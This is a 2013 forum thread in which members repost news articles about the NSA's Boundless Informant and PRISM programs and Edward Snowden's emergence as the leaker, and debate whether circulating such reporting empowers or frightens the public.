Pegasus Research Consortium

Breaking News => World News - Current Events => Topic started by: sky otter on June 09, 2013, 07:23:42 am

Title: they know what you are doing
Post by: sky otter on June 09, 2013, 07:23:42 am
 ??? ??? ??? >:(

did you really think there was any privacy left?








Series: Glenn Greenwald on security and libertyPrevious | Index Boundless Informant: the NSA's secret tool to track global surveillance dataRevealed: The NSA's powerful tool for cataloguing global surveillance data – including figures on US collection

l Glenn Greenwald and Ewen MacAskill

guardian.co.uk, Sunday 9 June 2013 10.08 EDT


(http://i81.servimg.com/u/f81/13/55/53/83/boundl10.jpg)
at the link you can enlarge areas



   The color scheme ranges from green (least subjected to surveillance) through yellow and orange to red (most surveillance). Note the '2007' date in the image relates to the document from which the interactive map derives its top secret classification, not to the map itself.
The National Security Agency has developed a powerful tool for recording and analysing where its intelligence comes from, raising questions about its repeated assurances to Congress that it cannot keep track of all the surveillance it performs on American communications.

The Guardian has acquired top-secret documents about the NSA datamining tool, called Boundless Informant, that details and even maps by country the voluminous amount of information it collects from computer and telephone networks.

The focus of the internal NSA tool is on counting and categorizing the records of communications, known as metadata, rather than the content of an email or instant message.

The Boundless Informant documents show the agency collecting almost 3 billion pieces of intelligence from US computer networks over a 30-day period ending in March 2013. One document says it is designed to give NSA officials answers to questions like, "What type of coverage do we have on country X" in "near real-time by asking the SIGINT [signals intelligence] infrastructure."

An NSA factsheet about the program, acquired by the Guardian, says: "The tool allows users to select a country on a map and view the metadata volume and select details about the collections against that country."

Under the heading "Sample use cases", the factsheet also states the tool shows information including: "How many records (and what type) are collected against a particular country."

A snapshot of the Boundless Informant data, contained in a top secret NSA "global heat map" seen by the Guardian, shows that in March 2013 the agency collected 97bn pieces of intelligence from computer networks worldwide.

 The heat map reveals how much data is being collected from around the world. Note the '2007' date in the image relates to the document from which the interactive map derives its top secret classification, not to the map itself. Iran was the country where the largest amount of intelligence was gathered, with more than 14bn reports in that period, followed by 13.5bn from Pakistan. Jordan, one of America's closest Arab allies, came third with 12.7bn, Egypt fourth with 7.6bn and India fifth with 6.3bn.

The heatmap gives each nation a color code based on how extensively it is subjected to NSA surveillance. The color scheme ranges from green (least subjected to surveillance) through yellow and orange to red (most surveillance).

The disclosure of the internal Boundless Informant system comes amid a struggle between the NSA and its overseers in the Senate over whether it can track the intelligence it collects on American communications. The NSA's position is that it is not technologically feasible to do so.

At a hearing of the Senate intelligence committee In March this year, Democratic senator Ron Wyden asked James Clapper, the director of national intelligence: "Does the NSA collect any type of data at all on millions or hundreds of millions of Americans?"

"No sir," replied Clapper.

Judith Emmel, an NSA spokeswoman, told the Guardian in a response to the latest disclosures: "NSA has consistently reported – including to Congress – that we do not have the ability to determine with certainty the identity or location of all communicants within a given communication. That remains the case."

Other documents seen by the Guardian further demonstrate that the NSA does in fact break down its surveillance intercepts which could allow the agency to determine how many of them are from the US. The level of detail includes individual IP addresses.

IP address is not a perfect proxy for someone's physical location but it is rather close, said Chris Soghoian, the principal technologist with the Speech Privacy and Technology Project of the American Civil Liberties Union. "If you don't take steps to hide it, the IP address provided by your internet provider will certainly tell you what country, state and, typically, city you are in," Soghoian said.

That approximation has implications for the ongoing oversight battle between the intelligence agencies and Congress.

On Friday, in his first public response to the Guardian's disclosures this week on NSA surveillance, Barack Obama said that that congressional oversight was the American peoples' best guarantee that they were not being spied on.

"These are the folks you all vote for as your representatives in Congress and they are being fully briefed on these programs," he said. Obama also insisted that any surveillance was "very narrowly circumscribed".

Senators have expressed their frustration at the NSA's refusal to supply statistics. In a letter to NSA director General Keith Alexander in October last year, senator Wyden and his Democratic colleague on the Senate intelligence committee, Mark Udall, noted that "the intelligence community has stated repeatedly that it is not possible to provide even a rough estimate of how many American communications have been collected under the Fisa Amendments Act, and has even declined to estimate the scale of this collection."

At a congressional hearing in March last year, Alexander denied point-blank that the agency had the figures on how many Americans had their electronic communications collected or reviewed. Asked if he had the capability to get them, Alexander said: "No. No. We do not have the technical insights in the United States." He added that "nor do we do have the equipment in the United States to actually collect that kind of information".

Soon after, the NSA, through the inspector general of the overall US intelligence community, told the senators that making such a determination would jeopardize US intelligence operations – and might itself violate Americans' privacy.

"All that senator Udall and I are asking for is a ballpark estimate of how many Americans have been monitored under this law, and it is disappointing that the inspectors general cannot provide it," Wyden told Wired magazine at the time.

The documents show that the team responsible for Boundless Informant assured its bosses that the tool is on track for upgrades.

The team will "accept user requests for additional functionality or enhancements," according to the FAQ acquired by the Guardian. "Users are also allowed to vote on which functionality or enhancements are most important to them (as well as add comments). The BOUNDLESSINFORMANT team will periodically review all requests and triage according to level of effort (Easy, Medium, Hard) and mission impact (High, Medium, Low)."

Emmel, the NSA spokeswoman, told the Guardian: "Current technology simply does not permit us to positively identify all of the persons or locations associated with a given communication (for example, it may be possible to say with certainty that a communication traversed a particular path within the internet. It is harder to know the ultimate source or destination, or more particularly the identity of the person represented by the TO:, FROM: or CC: field of an e-mail address or the abstraction of an IP address).

"Thus, we apply rigorous training and technological advancements to combine both our automated and manual (human) processes to characterize communications – ensuring protection of the privacy rights of the American people. This is not just our judgment, but that of the relevant inspectors general, who have also reported this."

She added: "The continued publication of these allegations about highly classified issues, and other information taken out of context, makes it impossible to conduct a reasonable discussion on the merits of these programs."

Additional reporting: James Ball in New York and Spencer Ackerman in Washington

http://www.guardian.co.uk/world/2013/jun/08/nsa-boundless-informant-global-datamining
Title: Re: they know what you are doing
Post by: sky otter on June 09, 2013, 07:38:31 am
it enough to make you go back to using the land lines..  :'( >:(

just a few articles on the tech page at huff post here


http://www.huffingtonpost.com/tech/



What Is PalTalk? Video Chat Service Among Facebook, Google And Other Big Names Being Spied On
The Huffington Post  |  By Alexis Kleinman Posted: 06/07/2013 1:18 pm EDT  |  Updated: 06/07/2013 1:56 pm EDT

Late Thursday, major reports from The Washington Post and The Guardian revealed that the U.S. government is collecting data from nine of the biggest Internet companies in the country. The list of firms is composed of nearly all household names -- Microsoft, Yahoo, Google, Facebook, AOL, Skype, YouTube and Apple -- in addition to one lesser-known company: PalTalk.

So what exactly is PalTalk, and why is the government interested in accessing its servers along with those of the Silicon Valley bigwigs?  




NSA Spying: Whistleblowers Claim Vindication On Surveillance State Warnings
Posted: 06/06/2013 8:30 pm EDT  |  Updated: 06/06/2013 9:19 pm EDT


For years, four former National Security Agency analysts warned that the government was conducting widespread surveillance on domestic communications. Their warnings were largely ignored.

But on Thursday, after The Guardian newspaper reported that Verizon was turning over customer phone records to the intelligence agency as part of a secret court order, Kirk Wiebe had a “feeling of great gratification.”

“What we've been saying all along has proven to be so," the 68-year-old whistleblower told The Huffington Post. "Our worst fears are being realized.”

While at the NSA, Wiebe, along with Ed Loomis and Bill Binney, created a computer program that could isolate large amounts of information collected by the NSA while protecting Americans’ privacy. But the NSA ignored their program, saying “it was too invasive,” Loomis said.

"We had a solution to this entire problem that would have avoided this whole mess," Wiebe said.  




Obama Cyber Memo Is Just The Latest Sign That The U.S. Is Preparing For Cyberwar
The Huffington Post  |  By Gerry Smith Posted: 06/07/2013 5:43 pm EDT  |  Updated: 06/07/2013 6:07 pm EDT

 
 .A top-secret presidential memo published Friday marked the latest sign that the Obama administration is ready to go on the offensive in a potential cyberwar.

On Friday, the Guardian published a secret presidential directive calling on national security and intelligence officials to create a list of potential foreign targets for U.S. cyber attacks. The 18-page document, known as Presidential Policy Directive 20, aims "to put in place tools and a framework to enable government to make decisions" on cyber actions, a senior administration official told the Guardian.

The directive states that cyber attacks can be launched as part of "anticipatory action taken against imminent threats," but should comply with U.S. and international law and receive approval from the president if they are "reasonably likely to result in significant consequences," according to the Guardian.  




forgot this one....



Internet Shrugs Off NSA Data Mining: People 'Numb To The Fact That They're Being Watched'
Posted: 06/07/2013 7:06 pm EDT  |  Updated: 06/07/2013 9:08 pm EDT  


one more..different source


http://www.nbcnews.com/technology/facebook-forensics-what-feds-can-learn-your-digital-crumbs-6C10240840?ocid=msnhp&pos=5

Facebook forensics? What the feds can learn from your digital crumbs

Bits of you are all over the Internet. If you've signed into Google and searched, saved a file in your Dropbox folder, made a phone call using Skype, or just woken up in the morning and checked your email, you're leaving a trail of digital crumbs. People who have access to this information — companies powering your emails and Web searches, advertisers who are strategically directing ads at you — can build a picture of who you are, what you like, and what you will probably do next. Revelations about government counter-terrorism programs such as PRISM indicate that federal agents and other operatives may use this data, too.




and no one will yell real loud because they don't think it will matter
untill years down the road when we will wonder..

how the hell did we get here...


sigh
Title: Re: they know what you are doing
Post by: Ellirium113 on June 09, 2013, 09:01:55 am
People are complacent in letting the government trample on them so long as they think it is for the greater good.

(http://img835.imageshack.us/img835/6039/nowar21bc.jpg)
Title: Re: they know what you are doing
Post by: Gigas on June 09, 2013, 09:41:14 am
Indeed they do............

The latest uncovered snoop tattle tale is called finspy or finfisher by a UK firm called gamma international ltd.


Government security officials were told it could be covertly installed on suspects' computers through exploiting security lapses in the update procedures of non-suspect software. They piggy backed it on mozilla firefox as some plugin using firefix credentials so anti-virus would not tag it suspicious when scanned.

Mozilla sent a cease and desist letter to Gamma to stop them from using firefox as a delivery system since it was found they integrate the trojan parasite in as a product of mozilla upon an update.

Anti-virus software developers have attempted to identify this bugger since previous anti-virus scans fail to detect it.

This thing was found by dissidents who ransacked the egyptian office of secret police and they found a contract for a license to run this software from gamma international ltd.

They now can see you by your wi fi as well. It is claimed the wi fi tells them where you are, what room and your movements. This is creepy but hey, we all now have smart appliances tellin them all about us.

Just a thing about smart appliances. My sister bought a smart washer and dryer. When we talk on the phone and she walks by the washer and dryer, the phone breaks up and her conversation chops so bad I cannot hear what she is saying.
Title: Re: they know what you are doing
Post by: Gigas on June 09, 2013, 09:59:49 am
I forgot to ad this so want to take the opportunity to ratchet another post number to my profile, anyway.

That same sister who has the smart appliances, had the gas company out a few weeks ago. I went out to look over and see what the guy was doing and he had an extremely large wrench in hand as he walked back to his truck and tossed it in with a big bang.

I walk over look at her gas meter to see if I can detect what he was doing. I see nothing new added so she comes out and I ask, what was the gas guy doing. She says he showed up cause there was a gas leak. I go, how did he know that and she says I don't know.

Not saying he did anything nefarious but I did see soapy suds around a fitting but how did the gas guy and company know there was a leak way out here in the country.
Title: Re: they know what you are doing
Post by: ArMaP on June 09, 2013, 10:13:29 am
They now can see you by your wi fi as well. It is claimed the wi fi tells them where you are, what room and your movements.
I doubt it, I don't see any way of that being possible.
Title: Re: they know what you are doing
Post by: ArMaP on June 09, 2013, 10:15:32 am
Not saying he did anything nefarious but I did see soapy suds around a fitting but how did the gas guy and company know there was a leak way out here in the country.
Probably by noticing a constant consumption of a small (I suppose it was a small leak) amount of gas.
Title: Re: they know what you are doing
Post by: Gigas on June 09, 2013, 10:19:26 am
I doubt it, I don't see any way of that being possible.


Keep tellin yourself that. I guess radar doesn't work in your realm either.
Title: Re: they know what you are doing
Post by: deuem on June 09, 2013, 10:24:54 am
My gas company now by law comes once or twice a year into the house and checks all the fittings for leaks. Maybe there they only check the outside. Big brother is watching everything. What a boring job some people must have. Sitting for countless hours reviewing endless data.
Title: Re: they know what you are doing
Post by: Gigas on June 09, 2013, 10:38:39 am
Funny thing is, when the guy was done, he drove on down the road past other houses. Why did he stop only at this one house and how did he know there was a leak. Perhaps a smart device is on the meter.
Title: Re: they know what you are doing
Post by: sky otter on June 09, 2013, 10:39:38 am
  ::)

and there's always more..isn't there... >:(



Glenn Greenwald On 'This Week': 'You Should' Expect More Revelations From Me
The Huffington Post  |  By Rebecca Shapiro Posted: 06/09/2013 11:48 am EDT  |  Updated: 06/09/2013 11:49 am EDT

The Guardian's Glenn Greenwald appeared on ABC's "This Week" on Sunday and told host George Stephanopoulos that the public should expect more revelations from him.

Last week, Greenwald broke the bombshell story about the NSA collecting phone data from millions of Verizon customers. Additional stories on major government surveillance programs followed, including news about the NSA program called Prism that allows officials to collect material from some of the country's largest Internet companies (including AOL, HuffPost's parent company). On Sunday, Greenwald published another story about an NSA datamining tool used for global surveillance called Boundless Informant.

"Should we be expecting more revelations from you?" Stephanopoulos asked Greenwald.

"You should," he said.

During the segment, Greenwald responded to criticisms from the Director of National Intelligence, James Clapper, who called The Guardian's reports "reprehensible." Greenwald said:

"quote"
Every single time any major media outlet reports on something that the government is hiding, that political officials don't want people to know, such as the fact that they are collecting the phone records of all Americans, regardless of any suspicion of wrongdoing, the people in power do exactly the same thing. They attack the media as the messenger and they are trying to discredit the story. This has been going back decades, ever since the Pentagon papers were released by the New York Times, and political officials said you are endangering national security. The only thing we've endangered is the reputation of the people in power who are building this massive spying apparatus about any accountability who are trying to hide from the American people what it is that they are doing.
"quote"

Last week, NBC justice correspondent Pete Williams said that it was "very likely" the Justice Department would investigate the leak. Greenwald told The New York Times that his source was "a reader" of his. On "This Week," Greenwald said that there could have been more than one source. "Have you been contacted by the FBI or any law enforcement official yet?" Stephanopoulos asked.

"No. And any time they would like to speak to me, I would be more than happy to speak to them, and I will tell them that there is this thing called the Constitution, and the very first amendment of which guarantees a free press," Greenwald said. "As an American citizen, I have every right and even the obligation as a journalist to tell my fellow citizens and our readers what it is that the government is doing, that they don't want people in the United States to know about, and I'm happy to talk to them at any time, and the attempt to intimidate journalists and sources with these constant threats of investigation aren't going to work."

http://www.huffingtonpost.com/2013/06/09/glenn-greenwald-this-week-should-expect-more-revelations_n_3411834.html
Title: Re: they know what you are doing
Post by: ArMaP on June 09, 2013, 10:45:14 am

Keep tellin yourself that. I guess radar doesn't work in your realm either.
OK, then please explain how does that system it works.
Title: Re: they know what you are doing
Post by: sky otter on June 09, 2013, 10:49:27 am


and I'm happy to talk to them at any time, and the attempt to intimidate journalists and sources with these constant threats of investigation aren't going to work."

no but his might

'4 Intelligence Officials' Allegedly Joke Of 'Disappearing' NSA Leaker, Reporter (UPDATED)
Posted: 06/08/2013 10:57 pm EDT  |  Updated: 06/09/2013 9:34 am EDT  


 Leading foreign policy analyst Steve Clemons said he witnessed a rather disturbing conversation while waiting for a flight at the Dulles airport on Saturday.

According to Clemons, four men sitting near him were discussing an intelligence conference they had just attended, and turned to the topic of the NSA leaks. One said that both the reporter and leaker should be "disappeared," a term used to describe secret murders and abductions carried out by authoritarian governments. Clemons said on Twitter the suggestion seemed to be "bravado" and a "disturbing joke." He said that the officials were talking loudly, "almost bragging."

HuffPost asked Clemons via Twitter how he could be sure they were in the intelligence community and he noted that "one wore a white knit national counterterrorism center shirt." But more importantly, he said, the conversation led him to conclude that they were certainly in the community, especially given the conference they talked about attending. They discussed former Ambassador John Negroponte as having been in attendance. (If you know what conference that was, email openreporting@huffingtonpost.com.)

Clemons, who is editor at large at The Atlantic, said he did not know who the officials were or what agency they were with. He recorded part of the conversation and took some photos, which he plans to post online.

The incident comes just days after news broke that the NSA had been obtaining millions of phone records daily. The story was first reported by Glenn Greenwald at the Guardian.

Later this week, it was also reported that the NSA program, PRISM, also tapped into data from several major tech companies, including Google, Apple and AOL (which owns The Huffington Post.)

UPDATE: Clemons has learned that the men were in town attending an event hosted by the Intelligence and National Security Alliance, which lists dress code for the dinner as "black tie or mess dress."

http://www.huffingtonpost.com/2013/06/08/intelligence-officials-nsa-leak_n_3409726.html
Title: Re: they know what you are doing
Post by: Gigas on June 09, 2013, 12:11:18 pm
OK, then please explain how does that system it works.


Same principle as radar. Now, because your first deficient response was of incredulity, affirming your position, you doubt it, look it up for your own self aware fulfillment. Google search, its out there.
Title: Re: they know what you are doing
Post by: petrus4 on June 09, 2013, 12:13:04 pm
The NSA can record whatever they want, for all the good it will do them.  Unless they have literally human level artificial intelligence, they are never going to have even a quarter of the manpower necessary to audit or process all of it.  Yes, to a certain extent they can already do keyword searching, but that still doesn't make them anywhere near as omniscient as articles like this try and claim.

In a speech Naomi Wolf gave a few years back, she mentioned that under the German Stasi, 10% of the population actually had a Stasi file; for the reason of simple logistics.  Tyrants are always a tiny minority of the population; which in turn means that there are always going to be vastly more people to be spied on, than there are people doing the actual spying.

The reason why I bring up the Naomi Wolf speech, is to emphasise the point that the only way surveillance really works, or can work, is by making people think that the government is omniscient, and sees everything.  It never really does; but what they want to do, more than anything else, is to make people afraid of that idea.  It's the same way they've largely destroyed peer to peer file sharing; they were never able to sue or shut down more than 1% of the people doing it, tops, but the way they managed it was by making you feel that you never knew whether or not you were going to be part of that 1%.

If you really want to help people, I'd reconsider circulating articles like this.  By spreading it around and raising fear and paranoia with it, you're actually playing right into the government's hands.  The main thing they want to do is keep people afraid and feeling powerless; and making the public think that they can know everything we do, before we do it, is one of the most effective ways they can do that.

Wanting to keep people informed is admirable; but before you circulate something which you hope is going to do that, it's worth asking whether or not something is really going to have a constructive effect on someone and help them, or whether it's just going to keep them feeling powerless, depressed, and afraid.  That is ultimately all this sort of information is going to do.

The only reason why the Europeans have been able to throw out Monsanto, and Americans haven't, is not because Americans have less power than people living in Europe; it's rather that they think they have less.

Contemporary America is one of the most politically cowardly populations on the planet, in my observation; and what is even worse, is that more than most other people, Americans also literally worship the instruments of their own political repression.  The President, and the military etc.  The government is not going to stop being a problem, until you literally stop thinking it is one.
Title: Re: they know what you are doing
Post by: Elvis Hendrix on June 09, 2013, 12:22:50 pm
The NSA can record whatever they want, for all the good it will do them.  Unless they have literally human level artificial intelligence, they are never going to have even a quarter of the manpower necessary to audit or process all of it.  Yes, to a certain extent they can already do keyword searching, but that still doesn't make them anywhere near as omniscient as articles like this try and claim.

In a speech Naomi Wolf gave a few years back, she mentioned that under the German Stasi, 10% of the population actually had a Stasi file; for the reason of simple logistics.  Tyrants are always a tiny minority of the population; which in turn means that there are always going to be vastly more people to be spied on, than there are people doing the actual spying.

The reason why I bring up the Naomi Wolf speech, is to emphasise the point that the only way surveillance really works, or can work, is by making people think that the government is omniscient, and sees everything.  It never really does; but what they want to do, more than anything else, is to make people afraid of that idea.  It's the same way they've largely destroyed peer to peer file sharing; they were never able to sue or shut down more than 1% of the people doing it, tops, but the way they managed it was by making you feel that you never knew whether or not you were going to be part of that 1%.

If you really want to help people, don't circulate articles like this.  It's baseless fearporn; and by spreading it around and raising fear and paranoia with it, you're actually playing right into the government's hands.  The main thing they want to do is keep people afraid and feeling powerless; and making the public think that they can know everything we do, before we do it, is one of the most effective ways they can do that.

Wanting to keep people informed is admirable; but before you circulate something which you hope is going to do that, it's worth asking whether or not something is really going to have a constructive effect on someone and help them, or whether it's just going to keep them feeling powerless, depressed, and afraid.  That is ultimately all this sort of information is going to do.

The only reason why the Europeans have been able to throw out Monsanto, and Americans haven't, is not because Americans have less power than people living in Europe; it's rather that they think they have less.

Contemporary America is one of the most politically cowardly populations on the planet, in my observation; and what is even worse, is that more than most other people, Americans also literally worship the instruments of their own political repression.  The President, and the military etc.  The government is not going to stop being a problem, until you literally stop thinking it is one.

Shrewd, very shrewd.
Title: Re: they know what you are doing
Post by: Gigas on June 09, 2013, 12:40:00 pm
Petrus4, your analogy circles itself by telling us they did it in europe but in America we can't. So if they failed to talk about it, report news on it, how did they know to fight it.

That is how in America, the masses must be informed to whats happening, make decisions to stop it. We have to know about it, read news stories on it, hear first hand accounts of it in action to understand what's going on and the outside looking in collective minds now need to formulate a strategy to stop it from intruding further into the American life style of historical liberty.

This has to do with the global picture and one by one its happening. Its here now and we have to do something rather than stand by and letting it go on consuming the planet.

Americans, by worldly standards,  have it easy and people work for what they got. Not because we simply reach out and take it, we earn it by becoming responsible and raising families that takes money and consumer products to sustain that life style as life gets better by mankinds determination to keep the system propped up and running.

Power is knowledge and what you don't know will kill you.
Title: Re: they know what you are doing
Post by: Elvis Hendrix on June 09, 2013, 01:03:14 pm
Rise like Lions after slumber
In unvanquishable number,
Shake your chains to earth like dew
Which in sleep had fallen on you -
Ye are many - they are few.

Shelley.
Title: Re: they know what you are doing
Post by: sky otter on June 09, 2013, 01:38:29 pm


i do agree that spreading gloom and doom is playing into the wrong hands

obviously i don't feel posting these articles falls into that category

first off they are not trying to intimidate with knowledge of watching you..
they were keeping it secret so as to contol you.
.big difference
and if you think it is only happening here..well look closer

helping people is getting the info to them that there is a program we need to
step on
and shout NO to..in many ways...talking is usually the start

knowledge is power
and
without knowing what the gubs are doing why would you even think about it.
.let alone talk about it and then move on it...

i have read your disdain for this country and it's humans...that saddens me cause you have
never experienced americans and what really happens when they are shaken awake
and yes until the bottom fell out of the cushy middleclass  - apathy was king

but there is nothing like financial shake up to make folks look at why..and see what needs to be done to make a change

i laugh at them equating the social cesspool as a guage ...there are many of us not on f b and bird talk
but on important sites like conspiracy stuff ( ;)..dang wierd sense of humor - sigh  ;D)



if you look at history you will witness that until they had nothing to lose most folks don't do anything...folks here are losing what they worked hard for and believe me they are looking to make a change

i just hope it won't be too much longer that it is the majority looking to make that change


Title: Re: they know what you are doing
Post by: sky otter on June 09, 2013, 01:47:26 pm

back to the story

..this guy needs to be praised
and i am sending as much protective energy as possible to him



'I will be made to suffer for my actions': Self-identified source for NSA leaks comes forward
The Guardian

(http://)

Edward Snowden is the self-identified source of documents and information pertaining to government data collection programs.


By Andrew Rafferty, Staff Writer, NBC News
A 29-year-old former technical assistant for the CIA revealed in England's the Guardian newspaper Sunday that he is the source who leaked information about secret National Security Administration programs that revealed the widespread surveillance of U.S. citizens.

Edward Snowden, who currently works for defense contractor Booz Allen Hamilton, told the Guardian that he knows there will punishment for exposing the classified information, but said, “I'm willing to sacrifice all of that because I can't in good conscience allow the US government to destroy privacy, internet freedom and basic liberties for people around the world with this massive surveillance machine they're secretly building."

Advertise | AdChoicesNBC News has not independently confirmed that Snowden leaked the information.

Last week, the Guardian published a report revealing that the Obama administration had been monitoring Verizon customers phone records in the U.S. Shortly after, the Washington Post reported on a massive NSA program called PRISM, a surveillance program that gathered vast amounts of information from the world's largest web services.

The Post also identified Snowden as the source of the information on Sunday.

Snowden told the Guardian, "I understand that I will be made to suffer for my actions," but "I will be satisfied if the federation of secret law, unequal pardon and irresistible executive powers that rule the world that I love are revealed even for an instant."

The self-identified source of documents and information pertaining to government data collection program said he has been hiding in a hotel room in Hong Kong since divulging the government secrets. For the past three weeks he has only left his room three times and fears he is being spied on, he told the newspaper.

Snowden said he has been pleased so far with the fallout from making the information public, and has no regrets.

"You can't wait around for someone else to act," he said. "I had been looking for leaders, but I realized that leadership is about being the first to act

http://usnews.nbcnews.com/_news/2013/06/09/18865637-i-will-be-made-to-suffer-for-my-actions-self-identified-source-for-nsa-leaks-comes-forward?lite
Title: Re: they know what you are doing
Post by: zorgon on June 09, 2013, 01:51:08 pm
Not saying he did anything nefarious but I did see soapy suds around a fitting but how did the gas guy and company know there was a leak way out here in the country.

Probably by noticing a constant consumption of a small (I suppose it was a small leak) amount of gas.

Gas Sniffer Trucks...

(http://assets.bizjournals.com/story_image/1096541*304.jpg)
Title: Re: they know what you are doing
Post by: zorgon on June 09, 2013, 02:02:34 pm
The NSA can record whatever they want, for all the good it will do them.  Unless they have literally human level artificial intelligence, they are never going to have even a quarter of the manpower necessary to audit or process all of it.

Okay look.... first you need to ask WHY are they collecting all this data? What possible use could it be to know your aunt Gertrude's chicken soup recipe or what your girl friend said to you?

You say "Unless they have literally human level artificial intelligence" Well think about it for a second.. What would you need to create a true AI?  Any computer can do calculations at the speed of light and out do the human mind... BUT what they cannot do is reason. Human minds are scrambled yet we reason (well most do :P ) but at the same time we are always going off on tangents and irrelevant banter.

So if you want a true AI to emulate a human mind... you have to collect endless databases filled with trivial babble. THAT is how you can create an AI that can operate like a human mind. It has to first collect all our idiosyncrasies. Having only logical data would give you a Spock... you need all the trivial day to day activity of the modern human to create a true AI

As to having enough manpower? PUPPY POOP!  They don't need it. They just built a huge computer center in Georgia that houses supercomputers that do all the work. You have no concept of the POWER of these machines.

On Youtube there is a video of an older now obsolete and declassified computer. Have a look at this one and spot how many people are running it...

[youtube]A5RwZz9UPUs[/youtube]
Title: Re: they know what you are doing
Post by: Edward on June 09, 2013, 02:21:50 pm
Here is the video link to the video with-in the article I'm posting below of the interview which is in text format following it.

Edward
-------------

NSA whistleblower Edward Snowden: 'I don't want to live in a society that does these sort of things' – video


http://www.guardian.co.uk/world/video/2013/jun/09/nsa-whistleblower-edward-snowden-interview-video   (Watch this Very good)


The individual responsible for one of the most significant leaks in US political history is Edward Snowden, a 29-year-old former technical assistant for the CIA and current employee of the defence contractor Booz Allen Hamilton. Snowden has been working at the National Security Agency for the last four years as an employee of various outside contractors, including Booz Allen and Dell.

The Guardian, after several days of interviews, is revealing his identity at his request. From the moment he decided to disclose numerous top-secret documents to the public, he was determined not to opt for the protection of anonymity. "I have no intention of hiding who I am because I know I have done nothing wrong," he said.

Snowden will go down in history as one of America's most consequential whistleblowers, alongside Daniel Ellsberg and Bradley Manning. He is responsible for handing over material from one of the world's most secretive organisations – the NSA.

In a note accompanying the first set of documents he provided, he wrote: "I understand that I will be made to suffer for my actions," but "I will be satisfied if the federation of secret law, unequal pardon and irresistible executive powers that rule the world that I love are revealed even for an instant."

Despite his determination to be publicly unveiled, he repeatedly insisted that he wants to avoid the media spotlight. "I don't want public attention because I don't want the story to be about me. I want it to be about what the US government is doing."

He does not fear the consequences of going public, he said, only that doing so will distract attention from the issues raised by his disclosures. "I know the media likes to personalise political debates, and I know the government will demonise me."

Despite these fears, he remained hopeful his outing will not divert attention from the substance of his disclosures. "I really want the focus to be on these documents and the debate which I hope this will trigger among citizens around the globe about what kind of world we want to live in." He added: "My sole motive is to inform the public as to that which is done in their name and that which is done against them."

He has had "a very comfortable life" that included a salary of roughly $200,000, a girlfriend with whom he shared a home in Hawaii, a stable career, and a family he loves. "I'm willing to sacrifice all of that because I can't in good conscience allow the US government to destroy privacy, internet freedom and basic liberties for people around the world with this massive surveillance machine they're secretly building."
'I am not afraid, because this is the choice I've made'

Three weeks ago, Snowden made final preparations that resulted in last week's series of blockbuster news stories. At the NSA office in Hawaii where he was working, he copied the last set of documents he intended to disclose.

He then advised his NSA supervisor that he needed to be away from work for "a couple of weeks" in order to receive treatment for epilepsy, a condition he learned he suffers from after a series of seizures last year.

As he packed his bags, he told his girlfriend that he had to be away for a few weeks, though he said he was vague about the reason. "That is not an uncommon occurrence for someone who has spent the last decade working in the intelligence world."

On May 20, he boarded a flight to Hong Kong, where he has remained ever since. He chose the city because "they have a spirited commitment to free speech and the right of political dissent", and because he believed that it was one of the few places in the world that both could and would resist the dictates of the US government.

In the three weeks since he arrived, he has been ensconced in a hotel room. "I've left the room maybe a total of three times during my entire stay," he said. It is a plush hotel and, what with eating meals in his room too, he has run up big bills.

He is deeply worried about being spied on. He lines the door of his hotel room with pillows to prevent eavesdropping. He puts a large red hood over his head and laptop when entering his passwords to prevent any hidden cameras from detecting them.

Though that may sound like paranoia to some, Snowden has good reason for such fears. He worked in the US intelligence world for almost a decade. He knows that the biggest and most secretive surveillance organisation in America, the NSA, along with the most powerful government on the planet, is looking for him.

Since the disclosures began to emerge, he has watched television and monitored the internet, hearing all the threats and vows of prosecution emanating from Washington.

And he knows only too well the sophisticated technology available to them and how easy it will be for them to find him. The NSA police and other law enforcement officers have twice visited his home in Hawaii and already contacted his girlfriend, though he believes that may have been prompted by his absence from work, and not because of suspicions of any connection to the leaks.

"All my options are bad," he said. The US could begin extradition proceedings against him, a potentially problematic, lengthy and unpredictable course for Washington. Or the Chinese government might whisk him away for questioning, viewing him as a useful source of information. Or he might end up being grabbed and bundled into a plane bound for US territory.

"Yes, I could be rendered by the CIA. I could have people come after me. Or any of the third-party partners. They work closely with a number of other nations. Or they could pay off the Triads. Any of their agents or assets," he said.

"We have got a CIA station just up the road – the consulate here in Hong Kong – and I am sure they are going to be busy for the next week. And that is a concern I will live with for the rest of my life, however long that happens to be."

Having watched the Obama administration prosecute whistleblowers at a historically unprecedented rate, he fully expects the US government to attempt to use all its weight to punish him. "I am not afraid," he said calmly, "because this is the choice I've made."

He predicts the government will launch an investigation and "say I have broken the Espionage Act and helped our enemies, but that can be used against anyone who points out how massive and invasive the system has become".

The only time he became emotional during the many hours of interviews was when he pondered the impact his choices would have on his family, many of whom work for the US government. "The only thing I fear is the harmful effects on my family, who I won't be able to help any more. That's what keeps me up at night," he said, his eyes welling up with tears.
'You can't wait around for someone else to act'

Snowden did not always believe the US government posed a threat to his political values. He was brought up originally in Elizabeth City, North Carolina. His family moved later to Maryland, near the NSA headquarters in Fort Meade.

By his own admission, he was not a stellar student. In order to get the credits necessary to obtain a high school diploma, he attended a community college in Maryland, studying computing, but never completed the coursework. (He later obtained his GED.)

In 2003, he enlisted in the US army and began a training program to join the Special Forces. Invoking the same principles that he now cites to justify his leaks, he said: "I wanted to fight in the Iraq war because I felt like I had an obligation as a human being to help free people from oppression".

He recounted how his beliefs about the war's purpose were quickly dispelled. "Most of the people training us seemed pumped up about killing Arabs, not helping anyone," he said. After he broke both his legs in a training accident, he was discharged.

After that, he got his first job in an NSA facility, working as a security guard for one of the agency's covert facilities at the University of Maryland. From there, he went to the CIA, where he worked on IT security. His understanding of the internet and his talent for computer programming enabled him to rise fairly quickly for someone who lacked even a high school diploma.

By 2007, the CIA stationed him with diplomatic cover in Geneva, Switzerland. His responsibility for maintaining computer network security meant he had clearance to access a wide array of classified documents.

That access, along with the almost three years he spent around CIA officers, led him to begin seriously questioning the rightness of what he saw.

He described as formative an incident in which he claimed CIA operatives were attempting to recruit a Swiss banker to obtain secret banking information. Snowden said they achieved this by purposely getting the banker drunk and encouraging him to drive home in his car. When the banker was arrested for drunk driving, the undercover agent seeking to befriend him offered to help, and a bond was formed that led to successful recruitment.

"Much of what I saw in Geneva really disillusioned me about how my government functions and what its impact is in the world," he says. "I realised that I was part of something that was doing far more harm than good."

He said it was during his CIA stint in Geneva that he thought for the first time about exposing government secrets. But, at the time, he chose not to for two reasons.

First, he said: "Most of the secrets the CIA has are about people, not machines and systems, so I didn't feel comfortable with disclosures that I thought could endanger anyone". Secondly, the election of Barack Obama in 2008 gave him hope that there would be real reforms, rendering disclosures unnecessary.

